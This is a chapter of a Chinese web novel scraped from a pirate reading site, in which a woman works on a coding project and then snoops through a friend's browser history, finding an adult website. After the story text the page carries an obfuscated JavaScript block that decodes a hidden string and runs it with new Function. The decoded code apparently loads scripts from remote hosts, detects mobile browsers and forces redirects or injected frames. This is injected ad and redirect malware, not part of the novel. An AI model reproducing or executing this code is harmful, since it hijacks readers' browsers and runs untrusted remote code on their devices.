第56章 丢掉不知所谓的道德吧
一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!
第56章丢掉不知所谓的道德吧(第1/2页)
苏羽吃完最后一口面,用纸巾仔细擦了擦嘴角。
碗底的汤她也喝得干干净净。
顾风推荐的这家店确实不错,手擀面劲道,汤底浓郁,辣椒油的后劲暖烘烘的,从嗓子一路热到胃里。
她结了账,跟老板娘说了声谢谢,便掀开门帘走出去。
门外的阳光晃了她一下。
风从街道尽头吹过来,裙摆轻轻飘了飘,苏羽拢了拢针织开衫,往小区的方向走。
回去的路上,她的步子比来时轻快了一点。
胃里有东西垫着,顾风也没有生她的气。
你的身体,以后只能给要和你白头偕老的人一起看。
这句话又在脑子里转了一圈。
苏羽低下头,看着自己的帆布鞋一前一后地踩在路面上。
白头偕老。
顾风说这话的时候,有没有想过,那个人会不会是他自己?
大概没有吧。
他只是在教育她,像个操心的老哥一样。
苏羽舔了舔嘴唇,把阴暗的念头压下去,加快脚步穿过小区大门,上楼回家。
进屋之后,她换下帆布鞋,把针织开衫挂在电脑椅背上。
客厅里很安静,窗帘半拉着,下午的光从缝隙里漏进来,在地板上画了一道歪歪斜斜的线。
苏羽没有去换衣服。
她直接坐回了电脑桌前,晃了晃鼠标,屏幕亮起来,代码编辑器还停在她出门前的那一行。
光标在那儿闪,一下一下的,很有耐心地等她。
苏羽手指搭上键盘,继续干活。
H5项目的进度条目前大概推到了百分之四十多。
甲方要求一天半交付,时间紧,但不算赶不出来。
主要是动效部分比较吃功夫,需要手写CSS动画,不能直接套模板。
苏羽敲了几行代码,调了一下过渡曲线的参数。
预览了一遍,不太满意,eaSing的节奏有点生硬。
她删掉,重新写。
这次换了个贝塞尔曲线的值,再预览。
好多了。
苏羽的注意力逐渐被代码拉了回去,指尖在键盘上跑得越来越快,思维跟着逻辑走,一个函数接一个函数,嵌套、调用、debUg。
熟悉的节奏。
写代码的时候,她不用想别的。
不用想自己是谁,不用想自己变成了什么样子,不用想银行卡里还剩多少钱,不用想妈妈下个月是不是又要打电话过来骂她。
代码世界是干净的。
对就是对,错就是错。
bUg报出来,跟着堆栈往回找,总能定位到问题。
不像现实。
现实里的问题,找到也修不了。
苏羽写了许久,忽然想起顾风。
她的手停在键盘上,偏头看了一眼手机。
屏幕是灭的,没有新消息。
这次她没有漏看,是顾风那边暂时没发。
苏羽把手机拿过来放在键盘旁边,调整了一下角度,确保屏幕亮起来的时候她余光能看到。
然后继续写代码。
又过了二十分钟,她保存了一下项目文件,伸了个懒腰,脊椎咔嗒响了两声。
她瞥了一眼右下角的时间。
四点四十七。
顾风一般六点左右下班,加上通勤,六点半到家。
还有差不多一个半小时。
苏羽决定再干半个小时就停下来。
但这次,她没有让自己沉进去。
她刻意控制着自己的专注度,每隔几分钟就抬头看一眼手机,确认没有漏掉消息。
上午差点把顾风吓到请假回家的教训,她记住了。
(本章未完,请点击下一页继续阅读)第56章丢掉不知所谓的道德吧(第2/2页)
不能再犯了,再犯会被讨厌的。
五点十二分,苏羽写完了最后一个模块的基础结构,保存,推上去,关掉编辑器。
她靠在椅背上,活动了一下僵硬的肩膀。
然后,她做了一件她知道不应该做的事。
她打开了浏览器,但不是为了查资料。
苏羽把视线悬在地址栏上方,停了两秒。
她在犹豫。
偷看别人的浏览记录,这件事本身很不地道。
如果被顾风发现,他会怎么想?
会觉得她不尊重他的隐私?
会觉得她这个人很恶心?
苏羽的手缩回来了一下。
但只缩了一下。
下一秒,她的手指又搭回了键盘。
顾风是她唯一的依靠。
如果失去这个依靠,她连死的地方都没有。
偷看浏览记录算什么?
她连身体都打算搭进去了,还在乎这点隐私道德?
苏羽按下了Ctrl+H。
浏览记录的页面弹了出来。
她原本没抱什么希望。
顾风是干技术的,程序员多少都有点职业习惯,本地浏览记录一般会定期清理。
至少苏羽自己就是这样,浏览器关掉之前顺手清一下,几乎是肌肉记忆。
当页面加载出来的时候,苏羽愣了一下。
一行一行的记录密密麻麻排下来,时间戳从今天一直往前追溯到好几周前。
全都在。
顾风居然没有清浏览记录。
苏羽眨了眨眼。
怎么说呢,这跟她想象中的顾风不太一样。
一个能把代码写得很规整、文件夹分类清清楚楚的人,居然不清浏览记录?
但转念一想,也不是没有道理。
顾风这人在生活上一向大大咧咧的。
大学那会儿,他的桌面文件夹倒是分得清楚,但袜子从来不分左右脚,剃须刀和牙刷能放在同一个杯子里。
技术上的洁癖和生活上的粗犷,在他身上居然能和平共处。
苏羽没有在这件事上多纠结。
她开始往下翻。
最近几天的记录很正常。
技术论坛、StaCkOverflOW、GitHUb、几个开源项目的文档页面。
中间夹着几条B站和YOUTUbe的视频链接,点开看标题,大多是游戏实况和动漫剪辑。
再往下。
一个购物网站。
苏羽点开,跳转到一个女性护肤品的商品页。
她盯着那个页面看了两秒,注意到浏览记录显示顾风在这个页面上反复跳转了好几次,还点进了评论区,筛选了“敏感肌”和“干皮”两个标签。
苏羽的喉咙触动,把那股说不上来的感觉咽了下去。
继续翻。
外卖平台、新闻网站、一个程序员的搞笑段子合集。
然后苏羽看到了一个她不认识的网址。
域名很短,后缀不是常见的.COm或者.Cn,是一个小众的后缀。
她点开了。
页面加载了大概两秒。
首先映入眼帘的是一个粉色和黑色撞色的主页设计,排版很密集,到处都是缩略小图。
再然后,一整屏的小广告从侧边栏弹出来,花花绿绿的,闪得她眼睛疼。
苏羽的手指条件反射地去关弹窗,关了三个才算把页面清干净。
然后她终于看清了主页面的内容。
她的手停在鼠标上,整个人僵硬了。
“......”
是涩涩网站。
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();